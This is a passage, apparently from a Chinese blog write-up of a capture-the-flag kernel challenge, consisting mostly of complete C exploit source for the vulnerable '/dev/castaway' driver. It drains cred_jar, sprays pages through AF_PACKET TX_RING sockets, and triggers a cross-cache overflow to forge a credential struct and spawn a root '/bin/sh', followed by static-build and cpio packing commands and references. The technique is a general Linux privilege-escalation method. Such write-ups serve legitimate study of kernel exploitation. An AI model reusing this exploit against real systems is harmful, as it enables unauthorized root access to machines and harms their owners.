int64_t ioctl(int fd, unsigned long request, unsigned long param)
{
    long result = syscall(16, fd, request, param);  // __NR_ioctl 16
    if (result < 0)
        perror("ioctl on driver");
    return result;
}

int64_t alloc(int fd)
{
    return ioctl(fd, ALLOC, 0);
}

int64_t delete(int fd, int64_t idx)
{
    user_req_t req = {0};
    req.idx = idx;
    return ioctl(fd, DELETE, (unsigned long)&req);
}

int64_t edit(int fd, int64_t idx, uint64_t size, char *buf)
{
    user_req_t req = {.idx = idx, .size = size, .buf = buf};
    return ioctl(fd, EDIT, (unsigned long)&req);
}

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];
    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);
    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);
    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);
    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}
// alloc_pages_via_sock()
// https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
int alloc_pages_via_sock(uint32_t size, uint32_t n)
{
    struct tpacket_req req;
    int32_t socketfd, version;

    socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socketfd < 0)
    {
        perror("bad socket");
        exit(-1);
    }

    version = TPACKET_V1;
    if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0)
    {
        perror("setsockopt PACKET_VERSION failed");
        exit(-1);
    }

    assert(size % 4096 == 0);

    memset(&req, 0, sizeof(req));

    req.tp_block_size = size;
    req.tp_block_nr = n;
    req.tp_frame_size = 4096;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0)
    {
        perror("setsockopt PACKET_TX_RING failed");
        exit(-1);
    }

    return socketfd;
}
// spray_comm_handler() —— spray TX_RING buffer (page spray)
void spray_comm_handler()
{
    ipc_req_t req;
    int32_t result;

    do {
        read(sprayfd_child[0], &req, sizeof(req));  // wait pipe
        assert(req.idx < INITIAL_PAGE_SPRAY);
        if (req.cmd == ALLOC_PAGE)
            socketfds[req.idx] = alloc_pages_via_sock(4096, 1);
        else if (req.cmd == FREE_PAGE)
            close(socketfds[req.idx]);
        result = req.idx;
        write(sprayfd_parent[1], &result, sizeof(result));
    } while(req.cmd != EXIT_SPRAY);
}
// send_spray_cmd() —— construct parameter to spray TX_RING buffer (kmalloc-4096)
void send_spray_cmd(enum spray_cmd cmd, int idx)
{
    ipc_req_t req;
    int32_t result;

    req.cmd = cmd;
    req.idx = idx;
    write(sprayfd_child[1], &req, sizeof(req));         // let spray begin
    read(sprayfd_parent[0], &result, sizeof(result));   // wait spray end
    assert(result == idx);
}
// __clone() —— call __NR_clone with controled flags and jump to *dest
// https://man7.org/linux/man-pages/man2/clone.2.html
__attribute__((naked)) pid_t __clone(uint64_t flags, void *dest)
{
    asm("mov r15, rsi;"
        "xor rsi, rsi;"
        "xor rdx, rdx;"
        "xor r10, r10;"
        "xor r9, r9;"
        "mov rax, 56;"      // rax = 56 __NR_clone;   rdi = flags
        "syscall;"
        "cmp rax, 0;"
        "jl bad_end;"
        "jg good_end;"
        "jmp r15;"          // rdi == r15 -> check_and_wait()
        "bad_end:"
        "neg rax;"
        "ret;"
        "good_end:"
        "ret;");
}

struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};
char throwaway;
char root[] = "root\n";
char binsh[] = "/bin/sh\x00";
char *args[] = {"/bin/sh", NULL};

// check_and_wait() —— check privilege (succeed: execve "/bin/sh"; fail: sleep())
__attribute__((naked)) void check_and_wait()
{
    asm(
        "lea rax, [rootfd];"
        "mov edi, dword ptr [rax];"
        "lea rsi, [throwaway];"
        "mov rdx, 1;"
        "xor rax, rax;"
        "syscall;"          // read(rootfd[0], throwaway, 1)
        "mov rax, 102;"
        "syscall;"          // __NR_getuid 
        "cmp rax, 0;"
        "jne finish;"
        "mov rdi, 1;"
        "lea rsi, [root];"
        "mov rdx, 5;"
        "mov rax, 1;"
        "syscall;"          // write(1, root, 5)
        "lea rdi, [binsh];"
        "lea rsi, [args];"
        "xor rdx, rdx;"
        "mov rax, 59;"
        "syscall;"          // execve("/bin/sh", args, 0)
        "finish:"
        "lea rdi, [timer];"
        "xor rsi, rsi;"
        "mov rax, 35;"
        "syscall;"          // __NR_nanosleep   nanosleep(timer)
        "ret;");
}
// alloc_vuln_page() —— alloc 8 vulnerable objects
void alloc_vuln_page(int fd, full_page *arr, int page_idx)
{
    assert(!arr[page_idx].in_use);
    for (int i = 0; i < ISO_SLAB_LIMIT; i++)
    {
        long result = alloc(fd);
        if (result < 0)
        {
            perror("allocation error");
            exit(-1);
        }
        arr[page_idx].idx[i] = result;
    }
    arr[page_idx].in_use = true;
}

void edit_vuln_page(int fd, full_page *arr, int page_idx, uint8_t *buf, size_t sz)
{
    assert(arr[page_idx].in_use);
    for (int i = 0; i < ISO_SLAB_LIMIT; i++)
    {
        long result = edit(fd, arr[page_idx].idx[i], sz, buf);
        if (result < 0)
        {
            perror("free error");
            exit(-1);
        }
    }
}

int main(int argc, char **argv)
{
    int fd = open("/dev/castaway", O_RDONLY);
    if (fd < 0)
    {
        perror("driver can't be opened");
        exit(0);
    }
// 1. initial
// 1-1. control page spraying process in separate namespace via TX_RINGs
    pipe(sprayfd_child);        // father notify son
    pipe(sprayfd_parent);       // son notify father
// 1-2. setup page spray thread (TX_RING buffer)
    puts("[1-2] setting up spray manager in separate namespace");
    if (!fork())
    {
        unshare_setup(getuid(), getgid());
        spray_comm_handler();
    }
// 1-3. control cred checking process
    pipe(rootfd);

    char evil[CHUNK_SIZE];      // 512
    memset(evil, 0, sizeof(evil));
// 2. spray creds
// 2-1. spray 100 cred to drain
    puts("[2-1] draining cred_jar");
    for (int i = 0; i < CRED_JAR_INITIAL_SPRAY; i++)
    {
        //setuid(0);
        pid_t result = fork();
        if (!result)
            sleep(1000000000);

        if (result < 0)
        {
            puts("fork limit");
            exit(-1);
        }
    }

// 2-2. spray 1000 kmalloc-4096 (order-0 page) and release 500
    puts("[2-2] massaging order 0 buddy allocations");
    for (int i = 0; i < INITIAL_PAGE_SPRAY; i++)
        send_spray_cmd(ALLOC_PAGE, i);

    for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2)
        send_spray_cmd(FREE_PAGE, i);
// 2-3. create 320 processes (spray 320 creds) to check if root
    for (int i = 0; i < FORK_SPRAY; i++)
    {
        pid_t result = __clone(CLONE_FLAGS, &check_and_wait);
        if (result < 0)
        {
            perror("clone error");
            exit(-1);
        }
    }
// 3. spray vulnerable objects and trigger OOB
// 3-1. release remaining 500 kmalloc-4096 (order-0 page)
    for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2)
        send_spray_cmd(FREE_PAGE, i);
// 3-2. forge cred->usage = 1
    *(uint32_t*)&evil[CHUNK_SIZE-0x6] = 1;

// 3-3. cross cache overflow - spray 30*8 vulnerable objects
    puts("[3-3] spraying cross cache overflow");
    for (int i = 0; i < FINAL_PAGE_SPRAY; i++)
    {
        alloc_vuln_page(fd, isolation_pages, i);
        edit_vuln_page(fd, isolation_pages, i, evil, CHUNK_SIZE);
    }
    puts("[*] spray is completed");
// 3-4. let 2-3 processes begin to check if root 
    write(rootfd[1], evil, FORK_SPRAY);     

    sleep(100000);
    exit(0);
}

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230130164248240.png

1
2
3
4
# 打包命令
gcc exp.c -o exp --static -masm=intel && find . | cpio -o --format=newc > ../rootfs.cpio
# 解包命令
cpio -idmv < rootfs.img

参考

-Linux Kernel Heap 101 —— Buddy & Slab

【Exploit trick】针对cred结构的cross cache利用

Reviving Exploits Against Cred Structs - Six Byte Cross Cache Overflow to Leakless Data-Oriented Kernel Pwnage

commit

GFP_KERNEL & GFP_KERNEL_ACCOUNT 的隔离